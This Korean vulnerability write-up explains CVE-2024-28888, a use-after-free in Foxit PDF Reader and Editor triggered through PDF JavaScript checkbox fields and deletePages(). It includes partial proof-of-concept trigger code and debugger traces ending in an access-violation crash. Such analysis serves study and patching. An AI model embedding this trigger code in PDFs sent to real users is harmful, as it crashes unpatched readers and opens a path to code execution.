[하루한줄] CVE-2024-28888: Foxit Reader의 Use-after-free로 인한 Remote Code Execution

URL

Target

  • Foxit PDF Editor 버전: 2024.X(포함) ~ 2024.2.3.25184(포함) (Windows)
  • Foxit PDF Editor 버전: 2023.X(포함) ~ 2023.3.0.23028(포함) (Windows)
  • Foxit PDF Reader 버전: ~ 2024.2.3.25184(포함) (Windows)
  • Foxit PDF Editor 버전: 2024.X(포함) ~ 2024.2.3.64402(포함) (macOS)
  • Foxit PDF Editor 버전: 2023.x(포함) ~ 2023.3.0.63083(포함) (macOS)
  • Foxit PDF Reader 버전: ~ 2024.2.2.64388(포함) (macOS)
  • Foxit PDF Editor 버전: 13.x(포함) ~ 13.1.2.62201(포함) (macOS)
  • Foxit PDF Editor 버전: 12.x(포함) ~ 12.1.5.55449(포함) (macOS)
  • Foxit PDF Editor 버전: ~ 11.1.9.0524(포함) (macOS)
  • Foxit PDF Editor 버전: 13.X(포함) ~ 13.1.3.22478(포함) (Windows)
  • Foxit PDF Editor 버전: 12.X(포함) ~ 12.1.7.15526(포함) (Windows)
  • Foxit PDF Editor 버전: ~ 11.2.10.53951(포함) (Windows)

Explain

Foxit PDF Reader는 V8 JavaScript 엔진을 이용해 Interactive PDF 기능을 지원합니다. Interactive PDF란 클릭 가능한 링크, 버튼, 양식 필드, 오디오, 비디오 및 기타 요소가 포함된 PDF 파일입니다.

Foxit PDF Reader가 checkbox 오브젝트를 관리할 때 Use-After-Free 취약점이 존재합니다. 아래 PoC 코드에서 delete_pages() 콜백 함수는 2번째 addField() 함수가 실행될 때 트리거됩니다. Use-after-free 취약점은 checkbox 오브젝트가 deletePages()에 의해 free된 이후 검증 없이 재사용될 때에 발생합니다.

function main() { 

 var aa = app.activeDocs[0].addField("ADD", "checkbox", 2, [17,0,5,14] ).defaultIsChecked(0);

 getField("txt3").setAction("Calculate",'delete_pages();'); 

 app.activeDocs[0].addField("ADD", "checkbox", 0, [17,0,5,14] ) ; 
 
 // 이후 checkbox object가 재사용될 때 use-after-free 취약점 발생함
 // 재사용하는 부분 PoC 코드 정확하게 공개되지 않음

}

function delete_pages(arg1, arg2, arg3) { 

  app.activeDocs[0].deletePages();  
  app.activeDocs[0].deletePages();  

}

addField() 함수가 실행된 이후 생성된 취약한 버퍼(0x18bbf0e0)는 다음과 같습니다.

0:000> p
eax=18babf00 ebx=076fe0dc ecx=175db036 edx=00000001 esi=00000002 edi=16426750
eip=01b0fc8b esp=076fdcfc ebp=076fdd50 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5069db:
01b0fc8b 8bf8            mov     edi,eax
0:000> dd eax
18babf00  0c8cb610 18bbf0e0 18bbf0b0 00000000
18babf10  00000000 00000000 00000000 00000000
18babf20  00000000 00000000 00000000 00000000
18babf30  00000000 00000000 00000000 00000000
18babf40  00000000 00000000 00000000 00000000
18babf50  00000000 00000000 00000000 00000000
18babf60  00000000 00000000 00000000 00000000
18babf70  00000000 00000000 00000000 00000000
0:000> dd 18bbf0e0                        ;<----------------------------------- (3)
18bbf0e0  00000003 00000000 0c8cb610 18bbf0b0
18bbf0f0  00000000 18b92af8 00000001 00000001
18bbf100  00000000 00000004 00000000 00000000
18bbf110  00000000 18bb7c08 18bb7c20 18bb7c38
18bbf120  18bb7c50 18bbe280 18bbe2a0 18bb7c68
18bbf130  18bbe2c0 18bb7c80 18ba1c78 18bbe2e0
18bbf140  18bb7c98 18bb7cb0 18bb7cc8 18bb7ce0
18bbf150  18bb7cf8 18bb7d10 18bb7d28 18bb7d40

해당 버퍼는 deletePages() 함수가 실행된 이후 다음과 같이 할당이 해제됩니다. (8)은 할당된 상태, (9)는 할당이 해제된 상태를 각각 나타냅니다.

0:000> dd esi                                   ;<----------- (8)
18bbf0e0  00000003 00000000 0c8cb610 1c789aa0  
18bbf0f0  00000000 18b92af8 00000000 00000002
18bbf100  00000000 00000004 00000000 00000000
18bbf110  00010006 18bbf0b0 00000000 00000000
18bbf120  00000000 1c7711a0 00000010 00000002
18bbf130  18bb9cbc 18bb9c98 0000000a 18bbe2e0
18bbf140  00010006 18bbf0b0 00000000 00000000
18bbf150  00000000 1c7711e0 00000010 00000001
0:000> p
eax=00000000 ebx=076fcfe4 ecx=175da3be edx=075dd000 esi=18bbf0e0 edi=0c8cb610
eip=01ed24bf esp=076fcf6c ebp=076fcfc4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
FoxitPDFReader!safe_vsnprintf+0x37768f:
01ed24bf 83c404          add     esp,4
0:000> dd esi                                  ;<----------- (9)
18bbf0e0  00000000 00000000 0c8cb610 1c789aa0
18bbf0f0  00000000 18b92af8 00000000 00000002
18bbf100  00000000 00000004 00000000 00000000
18bbf110  00010006 18bbf0b0 00000000 00000000
18bbf120  00000000 1c7711a0 00000010 00000002
18bbf130  18bb9cbc 18bb9c98 0000000a 18bbe2e0
18bbf140  00010006 18bbf0b0 00000000 00000000
18bbf150  00000000 1c7711e0 00000010 00000001

Checkbox 오브젝트는 할당이 해제된 이후 bytestring 오브젝트에 의해 재할당됩니다. 다음과 같이 동일한 주소(0x18bbf0e0)에 새로운 객체가 할당된 것을 확인할 수 있습니다.

0:000> p
eax=ffffffff ebx=076fe0dc ecx=18bbf0e0 edx=075dd000 esi=00000001 edi=1c777df0
eip=01b10022 esp=076fdcf8 ebp=076fdd50 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506d72:
01b10022 e849573d00      call    FoxitPDFReader!safe_vsnprintf+0x38a940 (01ee5770)
0:000> dd ecx                                       <------------------------ (10)
18bbf0e0  00000000 0000001f 0000001f 62626952
18bbf0f0  435f6e6f 67657461 5f79726f 74736f50
18bbf100  6e616353 6974704f 00736e6f 00000000
18bbf110  00010006 18bbf0b0 00000000 00000000
18bbf120  00000000 1c7711a0 00000010 00000002
18bbf130  18bb9cbc 18bb9c98 0000000a 18bbe2e0
18bbf140  00010006 18bbf0b0 00000000 00000000
18bbf150  00000000 1c7711e0 00000010 00000001
0:000> db ecx L28
18bbf0e0  00 00 00 00 1f 00 00 00-1f 00 00 00 52 69 62 62  ............Ribb
18bbf0f0  6f 6e 5f 43 61 74 65 67-6f 72 79 5f 50 6f 73 74  on_Category_Post
18bbf100  53 63 61 6e 4f 70 74 69

Checkbox 오브젝트가 재사용될 때 ‘버퍼 주소(0x18bbf0e0) + 0xc’에 위치한 값(0x62626952)이 this 객체 (여기에서는 esi 레지스터)로 전달됩니다. 원래 checkbox 오브젝트에서 해당 값은 포인터였으나, 할당이 해제되면서 0x62626952 값을 가지기 때문에 Access violation이 발생합니다.

0:000> p
(21e8.21f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000008e0 ebx=00000000 ecx=00000066 edx=00000000 esi=62626962 edi=076fdcc4
eip=02124612 esp=076fdc7c ebp=076fdc84 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210246
FoxitPDFReader!safe_vsnprintf+0x5c97e2:
02124612 f77608          div     eax,dword ptr [esi+8] ds:002b:6262696a=????????

공격자는 checkbox 오브젝트를 할당 해제한 이후, bytestring 오브젝트를 할당할 수 있으며, 이는 잠재적으로 임의 주소에 대한 읽기, 쓰기가 가능할 수 있습니다. 이러한 가능성은 원격 코드 실행(Remote Code Execution)으로 이어질 수 있습니다.

Reference